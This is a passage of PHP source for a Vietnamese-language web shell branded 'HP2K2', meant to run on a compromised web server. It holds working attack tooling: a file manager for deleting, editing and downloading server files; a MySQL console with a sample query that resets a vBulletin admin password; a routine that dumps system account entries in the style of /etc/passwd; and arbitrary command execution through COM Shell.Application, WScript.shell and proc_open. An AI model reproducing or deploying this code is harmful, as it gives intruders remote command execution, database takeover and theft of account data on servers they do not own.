  656.             p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  657.             p('<td width="2%" nowrap><font face="wingdings" size="3">1</font></td>');
  658.             p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
  659.             p('<td nowrap>' . $dirdb['mtime'] . '</td>');
  660.             p('<td nowrap>HP2K2</td>');
  661.             p('<td nowrap>');
  662.             p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
  663.             p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
  664.             p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'B&#7841;n Ch&#7855;c CH&#7855;n S&#7869; X&#243;a Th&#432; M&#7909;c' . $dirdb['filename'] . ' ? \\n\\nS&#7869; X&#243;a T&#7845;t C&#7843; C&#225;c File C&#243; Trong Th&#432; M&#7909;c N&#224;y.\')">X&#243;a Th&#432; M&#7909;c</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">&#272;&#7893;i T&#234;n Th&#432; M&#7909;c</a></td>');
  665.             p('</tr>');
  666.             $dir_i++;
  667.         } else {
  668.             if ($dirdb['filename'] == '..') {
  669.                 p('<tr class=fout>');
  670.                 p('<td align="center"> <font face="wingdings" size="4">7</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">L&#234;n Tr&#234;n </a>|</td>');
  671.                 p('</tr>');
  672.             }
  673.         }
  674.     }
  675.     p('<tr bgcolor="Green1" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  676.     p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
  677.     makehide('action', 'file');
  678.     makehide('thefile');
  679.     makehide('doing');
  680.     makehide('dir', $nowpath);
  681.     $file_i = '0';
  682.     foreach ($filedata as $key => $filedb) {
  683.         if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
  684.             $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
  685.             $thisbg  = bg();
  686.             p('<tr class="fout" onmouseover="this.className=\focus\;" onmouseout="this.className=\fout\;">');
  687.             p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
  688.             p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
  689.             p('<td nowrap>' . $filedb['mtime'] . '</td>');
  690.             p('<td nowrap>' . $filedb['size'] . '</td>');
  691.             p('<td nowrap>');
  692.             p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
  693.             p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
  694.             p('<td nowrap>');
  695.             p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">T&#7843;i Xu&#7889;ng</a> | ');
  696.             p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Sao Ch&#233;p</a> | ');
  697.             p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">S&#7917;a File</a> | ');
  698.             p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">&#272;&#7893;i T&#234;n</a> | ');
  699.             p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Th&#7901;i Gian</a>');
  700.             p('</td></tr>');
  701.             $file_i++;
  702.         }
  703.     }
  704.     p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">T&#7843;i Xu&#7889;ng</a> - <a href="javascript:dofile(\'delfiles\');">X&#243;a File </a></td><td colspan="4" align="right">' . $dir_i . ' Th&#432; M&#7909;c / ' . $file_i . ' File</td></tr>');
  705.     p('</form></table>');
  706. } // end dir
  707. ?><script type="text/javascript">
  708. function mysqlfile(doing){
  709.     if(!doing) return;
  710.     $('doing').value=doing;
  711.     $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  712.     $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  713.     $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  714.     $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  715.     $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  716.     $('mysqlfile').charset.value=$('dbinfo').charset.value;
  717.     $('mysqlfile').submit();
  718. }
  719. </script>
  720. <?php
  721. if ($action == 'sqladmin') {
  722.     !$dbhost && $dbhost = 'localhost';
  723.     !$dbuser && $dbuser = 'HP2K2';
  724.     !$dbport && $dbport = '3306';
  725.     $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  726.     if (isset($dbhost)) {
  727.         $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  728.     }
  729.     if (isset($dbuser)) {
  730.         $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  731.     }
  732.     if (isset($dbpass)) {
  733.         $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  734.     }
  735.     if (isset($dbport)) {
  736.         $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  737.     }
  738.     if (isset($dbname)) {
  739.         $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  740.     }
  741.     if (isset($charset)) {
  742.         $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  743.     }
  744.     if ($doing == 'backupmysql' && $saveasfile) {
  745.         if (!$table) {
  746.             m('Please choose the table');
  747.         } else {
  748.             dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  749.             $table = array_flip($table);
  750.             $fp    = @fopen($path, 'w');
  751.             if ($fp) {
  752.                 $result = q('SHOW tables');
  753.                 if (!$result)
  754.                     p('<h2>' . mysql_error() . '</h2>');
  755.                 $mysqldata = '';
  756.                 while ($currow = mysql_fetch_array($result)) {
  757.                     if (isset($table[$currow[0]])) {
  758.                         sqldumptable($currow[0], $fp);
  759.                     }
  760.                 }
  761.                 fclose($fp);
  762.                 $fileurl = str_replace(SA_ROOT, '', $path);
  763.                 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
  764.                 mysql_close();
  765.             } else {
  766.                 m('Backup failed');
  767.             }
  768.         }
  769.     }
  770.     if ($insert && $insertsql) {
  771.         $keystr = $valstr = $tmp = '';
  772.         foreach ($insertsql as $key => $val) {
  773.             if ($val) {
  774.                 $keystr .= $tmp . $key;
  775.                 $valstr .= $tmp . "'" . addslashes($val) . "'";
  776.                 $tmp = ',';
  777.             }
  778.         }
  779.         if ($keystr && $valstr) {
  780.             dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  781.             m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  782.         }
  783.     }
  784.     if ($update && $insertsql && $base64) {
  785.         $valstr = $tmp = '';
  786.         foreach ($insertsql as $key => $val) {
  787.             $valstr .= $tmp . $key . "='" . addslashes($val) . "'";
  788.             $tmp = ',';
  789.         }
  790.         if ($valstr) {
  791.             $where = base64_decode($base64);
  792.             dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  793.             m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? '&#272;&#227; L&#432;u C&#7853;p Nh&#7853;t' : mysql_error());
  794.         }
  795.     }
  796.     if ($doing == 'del' && $base64) {
  797.         $where      = base64_decode($base64);
  798.         $delete_sql = "DELETE FROM $tablename WHERE $where";
  799.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  800.         m(q("DELETE FROM $tablename WHERE $where") ? 'X&#243;a Th&#224;nh C&#244;ng' : mysql_error());
  801.     }
  802.     if ($tablename && $doing == 'drop') {
  803.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  804.         if (q("DROP TABLE $tablename")) {
  805.             m('Drop table of success');
  806.             $tablename = '';
  807.         } else {
  808.             m(mysql_error());
  809.         }
  810.     }
  811.     $charsets = array(
  812.         '' => 'Default',
  813.         'gbk' => 'GBK',
  814.         'big5' => 'Big5',
  815.         'utf8' => 'UTF-8',
  816.         'latin1' => 'Latin1'
  817.     );
  818.     formhead(array(
  819.         'title' => 'MYSQL Qu&#7843;n L&#253;'
  820.     ));
  821.     makehide('action', 'sqladmin');
  822.     p('<p>');
  823.     p('DBHost:');
  824.     makeinput(array(
  825.         'name' => 'dbhost',
  826.         'size' => 20,
  827.         'value' => $dbhost
  828.     ));
  829.     p(':');
  830.     makeinput(array(
  831.         'name' => 'dbport',
  832.         'size' => 4,
  833.         'value' => $dbport
  834.     ));
  835.     p('DBUser:');
  836.     makeinput(array(
  837.         'name' => 'dbuser',
  838.         'size' => 15,
  839.         'value' => $dbuser
  840.     ));
  841.     p('DBPass:');
  842.     makeinput(array(
  843.         'name' => 'dbpass',
  844.         'size' => 15,
  845.         'value' => $dbpass
  846.     ));
  847.     p('DBCharset:');
  848.     makeselect(array(
  849.         'name' => 'charset',
  850.         'option' => $charsets,
  851.         'selected' => $charset
  852.     ));
  853.     makeinput(array(
  854.         'name' => 'connect',
  855.         'value' => 'HP2K2',
  856.         'type' => 'submit',
  857.         'class' => 'bt'
  858.     ));
  859.     p('</p>');
  860.     formfoot();
  861. ?><script type="text/javascript">
  862. function editrecord(action, base64, tablename){
  863.     if (action == 'del') {
  864.         if (!confirm('Is or isn\'t deletion record?')) return;
  865.     }
  866.     $('recordlist').doing.value=action;
  867.     $('recordlist').base64.value=base64;
  868.     $('recordlist').tablename.value=tablename;
  869.     $('recordlist').submit();
  870. }
  871. function moddbname(dbname) {
  872.     if(!dbname) return;
  873.     $('setdbname').dbname.value=dbname;
  874.     $('setdbname').submit();
  875. }
  876. function settable(tablename,doing,page) {
  877.     if(!tablename) return;
  878.     if (doing) {
  879.         $('settable').doing.value=doing;
  880.     }
  881.     if (page) {
  882.         $('settable').page.value=page;
  883.     }
  884.     $('settable').tablename.value=tablename;
  885.     $('settable').submit();
  886. }
  887. </script>
  888. <?php
  889.     formhead(array(
  890.         'name' => 'recordlist'
  891.     ));
  892.     makehide('doing');
  893.     makehide('action', 'sqladmin');
  894.     makehide('base64');
  895.     makehide('tablename');
  896.     p($dbform);
  897.     formfoot();
  898.     formhead(array(
  899.         'name' => 'setdbname'
  900.     ));
  901.     makehide('action', 'sqladmin');
  902.     p($dbform);
  903.     if (!$dbname) {
  904.         makehide('dbname');
  905.     }
  906.     formfoot();
  907.     formhead(array(
  908.         'name' => 'settable'
  909.     ));
  910.     makehide('action', 'sqladmin');
  911.     p($dbform);
  912.     makehide('tablename');
  913.     makehide('page', $page);
  914.     makehide('doing');
  915.     formfoot();
  916.     $cachetables = array();
  917.     $pagenum     = 30;
  918.     $page        = intval($page);
  919.     if ($page) {
  920.         $start_limit = ($page - 1) * $pagenum;
  921.     } else {
  922.         $start_limit = 0;
  923.         $page        = 1;
  924.     }
  925.     if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  926.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  927.         // get mysql server
  928.         $mysqlver = mysql_get_server_info();
  929.         p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
  930.         $highver = $mysqlver > '4.1' ? 1 : 0;
  931.        
  932.         // Show database
  933.         $query = q("SHOW DATABASES");
  934.         $dbs   = array();
  935.         $dbs[] = 'Ch&#7885;n M&#7897;t C&#417; S&#7903; D&#7919; Li&#7879;u';
  936.         while ($db = mysql_fetch_array($query)) {
  937.             $dbs[$db['Database']] = $db['Database'];
  938.         }
  939.         makeselect(array(
  940.             'title' => 'H&#227;y Ch&#7885;n M&#7897;t Database:',
  941.             'name' => 'db[]',
  942.             'option' => $dbs,
  943.             'selected' => $dbname,
  944.             'onchange' => 'moddbname(this.options[this.selectedIndex].value)',
  945.             'newline' => 1
  946.         ));
  947.         $tabledb = array();
  948.         if ($dbname) {
  949.             p('<p>');
  950.             p('Dababase Hi&#7879;n T&#7841;i: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
  951.             if ($tablename) {
  952.                 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
  953.             }
  954.             p('</p>');
  955.             mysql_select_db($dbname);
  956.            
  957.             $getnumsql = '';
  958.             $runquery  = 0;
  959.             if ($sql_query) {
  960.                 $runquery = 1;
  961.             }
  962.             $allowedit = 0;
  963.             if ($tablename && !$sql_query) {
  964.                 $sql_query = "SELECT * FROM $tablename";
  965.                 $getnumsql = $sql_query;
  966.                 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
  967.                 $allowedit = 1;
  968.             }
  969.             p('<form action="' . $self . '" method="POST">');
  970.             p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Ch&#7841;y Truy V&#7845;n SQL/Tr&#234;n C&#417; S&#7903; D&#7919; Li&#7879;u<font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>HP2K2</font><BR><font color=yellow>UPDATE `user` SET `password` = \'20ec508bb4a6c454615f3414f6b47376\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  971. </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  972.             makehide('tablename', $tablename);
  973.             makehide('action', 'sqladmin');
  974.             p($dbform);
  975.             p('</form>');
  976.             if ($tablename || ($runquery && $sql_query)) {
  977.                 if ($doing == 'structure') {
  978.                     $result = q("SHOW COLUMNS FROM $tablename");
  979.                     $rowdb  = array();
  980.                     while ($row = mysql_fetch_array($result)) {
  981.                         $rowdb[] = $row;
  982.                     }
  983.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  984.                     p('<tr class="head">');
  985.                     p('<td>Field</td>');
  986.                     p('<td>Type</td>');
  987.                     p('<td>Null</td>');
  988.                     p('<td>Key</td>');
  989.                     p('<td>Default</td>');
  990.                     p('<td>Extra</td>');
  991.                     p('</tr>');
  992.                     foreach ($rowdb as $row) {
  993.                         $thisbg = bg();
  994.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  995.                         p('<td>' . $row['Field'] . '</td>');
  996.                         p('<td>' . $row['Type'] . '</td>');
  997.                         p('<td>' . $row['Null'] . '&nbsp;</td>');
  998.                         p('<td>' . $row['Key'] . '&nbsp;</td>');
  999.                         p('<td>' . $row['Default'] . '&nbsp;</td>');
  1000.                         p('<td>' . $row['Extra'] . '&nbsp;</td>');
  1001.                         p('</tr>');
  1002.                     }
  1003.                     tbfoot();
  1004.                 } elseif ($doing == 'insert' || $doing == 'edit') {
  1005.                     $result = q('SHOW COLUMNS FROM ' . $tablename);
  1006.                     while ($row = mysql_fetch_array($result)) {
  1007.                         $rowdb[] = $row;
  1008.                     }
  1009.                     $rs = array();
  1010.                     if ($doing == 'insert') {
  1011.                         p('<h2>Insert new line in ' . $tablename . ' table &raquo;</h2>');
  1012.                     } else {
  1013.                         p('<h2>Update record in ' . $tablename . ' table &raquo;</h2>');
  1014.                         $where  = base64_decode($base64);
  1015.                         $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  1016.                         $rs     = mysql_fetch_array($result);
  1017.                     }
  1018.                     p('<form method="post" action="' . $self . '">');
  1019.                     p($dbform);
  1020.                     makehide('action', 'sqladmin');
  1021.                     makehide('tablename', $tablename);
  1022.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  1023.                     foreach ($rowdb as $row) {
  1024.                         if ($rs[$row['Field']]) {
  1025.                             $value = htmlspecialchars($rs[$row['Field']]);
  1026.                         } else {
  1027.                             $value = '';
  1028.                         }
  1029.                         $thisbg = bg();
  1030.                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1031.                         p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
  1032.                     }
  1033.                     if ($doing == 'insert') {
  1034.                         p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1035.                     } else {
  1036.                         p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1037.                         makehide('base64', $base64);
  1038.                     }
  1039.                     p('</table></form>');
  1040.                 } else {
  1041.                     $querys = @explode(';', $sql_query);
  1042.                     foreach ($querys as $num => $query) {
  1043.                         if ($query) {
  1044.                             p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
  1045.                             switch (qy($query)) {
  1046.                                 case 0:
  1047.                                     p('<h2>Error : ' . mysql_error() . '</h2>');
  1048.                                     break;
  1049.                                 case 1:
  1050.                                     if (strtolower(substr($query, 0, 13)) == 'select * from') {
  1051.                                         $allowedit = 1;
  1052.                                     }
  1053.                                     if ($getnumsql) {
  1054.                                         $tatol     = mysql_num_rows(q($getnumsql));
  1055.                                         $multipage = multi($tatol, $pagenum, $page, $tablename);
  1056.                                     }
  1057.                                     if (!$tablename) {
  1058.                                         $sql_line = str_replace(array(
  1059.                                             "\r",
  1060.                                             "\n",
  1061.                                             "\t"
  1062.                                         ), array(
  1063.                                             ' ',
  1064.                                             ' ',
  1065.                                             ' '
  1066.                                         ), trim(htmlspecialchars($query)));
  1067.                                         $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1068.                                         preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
  1069.                                         $tablename = $matches[1][0];
  1070.                                     }
  1071.                                     $result = q($query);
  1072.                                     p($multipage);
  1073.                                     p('<table border="0" cellpadding="3" cellspacing="0">');
  1074.                                     p('<tr class="head">');
  1075.                                     if ($allowedit)
  1076.                                         p('<td>C&#224;i &#272;&#7863;t</td>');
  1077.                                     $fieldnum = @mysql_num_fields($result);
  1078.                                     for ($i = 0; $i < $fieldnum; $i++) {
  1079.                                         $name = @mysql_field_name($result, $i);
  1080.                                         $type = @mysql_field_type($result, $i);
  1081.                                         $len  = @mysql_field_len($result, $i);
  1082.                                         p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1083.                                     }
  1084.                                     p('</tr>');
  1085.                                     while ($mn = @mysql_fetch_assoc($result)) {
  1086.                                         $thisbg = bg();
  1087.                                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1088.                                         $where = $tmp = $b1 = '';
  1089.                                         foreach ($mn as $key => $inside) {
  1090.                                             if ($inside) {
  1091.                                                 $where .= $tmp . $key . "='" . addslashes($inside) . "'";
  1092.                                                 $tmp = ' AND ';
  1093.                                             }
  1094.                                             $b1 .= '<td nowrap>' . html_clean($inside) . '&nbsp;</td>';
  1095.                                         }
  1096.                                         $where = base64_encode($where);
  1097.                                         if ($allowedit)
  1098.                                             p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">S&#7917;a</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">X&#243;a</a></td>');
  1099.                                         p($b1);
  1100.                                         p('</tr>');
  1101.                                         unset($b1);
  1102.                                     }
  1103.                                     tbfoot();
  1104.                                     p($multipage);
  1105.                                     break;
  1106.                                 case 2:
  1107.                                     $ar = mysql_affected_rows();
  1108.                                     p('<h2>affected rows : <b>' . $ar . '</b></h2>');
  1109.                                     break;
  1110.                             }
  1111.                         }
  1112.                     }
  1113.                 }
  1114.             } else {
  1115.                 $query     = q("SHOW TABLE STATUS");
  1116.                 $table_num = $table_rows = $data_size = 0;
  1117.                 $tabledb   = array();
  1118.                 while ($table = mysql_fetch_array($query)) {
  1119.                     $data_size            = $data_size + $table['Data_length'];
  1120.                     $table_rows           = $table_rows + $table['Rows'];
  1121.                     $table['Data_length'] = sizecount($table['Data_length']);
  1122.                     $table_num++;
  1123.                     $tabledb[] = $table;
  1124.                 }
  1125.                 $data_size = sizecount($data_size);
  1126.                 unset($table);
  1127.                 p('<table border="0" cellpadding="0" cellspacing="0">');
  1128.                 p('<form action="' . $self . '" method="POST">');
  1129.                 makehide('action', 'sqladmin');
  1130.                 p($dbform);
  1131.                 p('<tr class="head">');
  1132.                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1133.                 p('<td>T&#234;n</td>');
  1134.                 p('<td>Rows</td>');
  1135.                 p('<td>Dung L&#432;&#7907;ng</td>');
  1136.                 p('<td>Th&#7901;i Gian T&#7841;o</td>');
  1137.                 p('<td>Th&#7901;i Gian C&#7853;p Nh&#7853;t</td>');
  1138.                 if ($highver) {
  1139.                     p('<td>Engine</td>');
  1140.                     p('<td>Collation</td>');
  1141.                 }
  1142.                 p('</tr>');
  1143.                 foreach ($tabledb as $key => $table) {
  1144.                     $thisbg = bg();
  1145.                     p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1146.                     p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
  1147.                     p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
  1148.                     p('<td>' . $table['Rows'] . '</td>');
  1149.                     p('<td>' . $table['Data_length'] . '</td>');
  1150.                     p('<td>' . $table['Create_time'] . '</td>');
  1151.                     p('<td>' . $table['Update_time'] . '</td>');
  1152.                     if ($highver) {
  1153.                         p('<td>' . $table['Engine'] . '</td>');
  1154.                         p('<td>' . $table['Collation'] . '</td>');
  1155.                     }
  1156.                     p('</tr>');
  1157.                 }
  1158.                 p('<tr class=fout>');
  1159.                 p('<td>&nbsp;</td>');
  1160.                 p('<td>Total tables: ' . $table_num . '</td>');
  1161.                 p('<td>' . $table_rows . '</td>');
  1162.                 p('<td>' . $data_size . '</td>');
  1163.                 p('<td colspan="' . ($highver ? 4 : 2) . '">&nbsp;</td>');
  1164.                 p('</tr>');
  1165.                
  1166.                 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1167.                 makehide('doing', 'backupmysql');
  1168.                 formfoot();
  1169.                 p("</table>");
  1170.                 fr($query);
  1171.             }
  1172.         }
  1173.     }
  1174.     tbfoot();
  1175.     @mysql_close();
  1176. }
  1177. elseif ($action == 'etcpwd') {
  1178.     formhead(array(
  1179.         'title' => 'Get /etc/passwd'
  1180.     ));
  1181.     makehide('action', 'etcpwd');
  1182.     makehide('dir', $nowpath);
  1183.     $i = 0;
  1184.     echo "<p><br><textarea class=\area\ id=\phpcodexxx\ name=\phpcodexxx\ cols=\100\ rows=\25\>";
  1185.     while ($i < 60000) {
  1186.         $line = posix_getpwuid($i);
  1187.         if (!empty($line)) {
  1188.             while (list($key, $vba_etcpwd) = each($line)) {
  1189.                 echo "" . $vba_etcpwd . "
  1190. ";
  1191.                 break;
  1192.             }
  1193.         }
  1194.         $i++;
  1195.     }
  1196.     echo "</textarea></p>";
  1197.     formfoot();
  1198. }
  1199. elseif ($action == 'command') {
  1200.     if (IS_WIN && IS_COM) {
  1201.         if ($program && $parameter) {
  1202.             $shell = new COM('Shell.Application');
  1203.             $a     = $shell->ShellExecute($program, $parameter);
  1204.             m('Program run has ' . (!$a ? 'success' : 'fail'));
  1205.         }
  1206.         !$program && $program = 'c:\indows\ystem32\md.exe';
  1207.         !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
  1208.         formhead(array(
  1209.             'title' => 'Execute Program'
  1210.         ));
  1211.         makehide('action', 'shell');
  1212.         makeinput(array(
  1213.             'title' => 'Program',
  1214.             'name' => 'program',
  1215.             'value' => $program,
  1216.             'newline' => 1
  1217.         ));
  1218.         p('<p>');
  1219.         makeinput(array(
  1220.             'title' => 'Parameter',
  1221.             'name' => 'parameter',
  1222.             'value' => $parameter
  1223.         ));
  1224.         makeinput(array(
  1225.             'name' => 'submit',
  1226.             'class' => 'bt',
  1227.             'type' => 'submit',
  1228.             'value' => 'Execute'
  1229.         ));
  1230.         p('</p>');
  1231.         formfoot();
  1232.     }
  1233.     formhead(array(
  1234.         'title' => 'L&#7879;nh Th&#7921;c hi&#7879;n'
  1235.     ));
  1236.     makehide('action', 'shell');
  1237.     if (IS_WIN && IS_COM) {
  1238.         $execfuncdb = array(
  1239.             'phpfunc' => 'phpfunc',
  1240.             'wscript' => 'wscript',
  1241.             'proc_open' => 'proc_open'
  1242.         );
  1243.         makeselect(array(
  1244.             'title' => 'Use:',
  1245.             'name' => 'execfunc',
  1246.             'option' => $execfuncdb,
  1247.             'selected' => $execfunc,
  1248.             'newline' => 1
  1249.         ));
  1250.     }
  1251.     p('<p>');
  1252.     makeinput(array(
  1253.         'title' => 'Command',
  1254.         'name' => 'command',
  1255.         'value' => $command
  1256.     ));
  1257.     makeinput(array(
  1258.         'name' => 'submit',
  1259.         'class' => 'bt',
  1260.         'type' => 'submit',
  1261.         'value' => 'HP2K2'
  1262.     ));
  1263.     p('</p>');
  1264.     formfoot();
  1265.     if ($command) {
  1266.         p('<hr width="100%" noshade /><pre>');
  1267.         if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
  1268.             $wsh       = new COM('WScript.shell');
  1269.             $exec      = $wsh->exec('cmd.exe /c ' . $command);
  1270.             $stdout    = $exec->StdOut();
  1271.             $stroutput = $stdout->ReadAll();
  1272.             echo $stroutput;
  1273.         } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
  1274.             $descriptorspec = array(
  1275.                 0 => array(
  1276.                     'pipe',
  1277.                     'r'
  1278.                 ),
  1279.                 1 => array(
  1280.                     'pipe',
  1281.                     'w'
  1282.                 ),
  1283.                 2 => array(
  1284.                     'pipe',
  1285.                     'w'
  1286.                 )
  1287.             );
  1288.             $process        = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1289.             if (is_resource($process)) {
  1290.                 fwrite($pipes[0], $command . "
  1291. ");
  1292.                 fwrite($pipes[0], "exit
  1293. ");
  1294.                 fclose($pipes[0]);
  1295.                 while (!feof($pipes[1])) {
  1296.                     echo fgets($pipes[1], 1024);
  1297.                 }
  1298.                 fclose($pipes[1]);
  1299.                 while (!feof($pipes[2])) {
  1300.                     echo fgets($pipes[2], 1024);
  1301.                 }
  1302.                 fclose($pipes[2]);
  1303.                 proc_close($process);
  1304.             }
  1305.         } else {
  1306.             echo (execute($command));
  1307.         }
  1308.         p('</pre>');
  1309.     }
  1310. }
  1311. elseif ($action == 'ScanShell') {
  1312.     $file       = fopen($dir . "Scan-Shell.php", "w+");
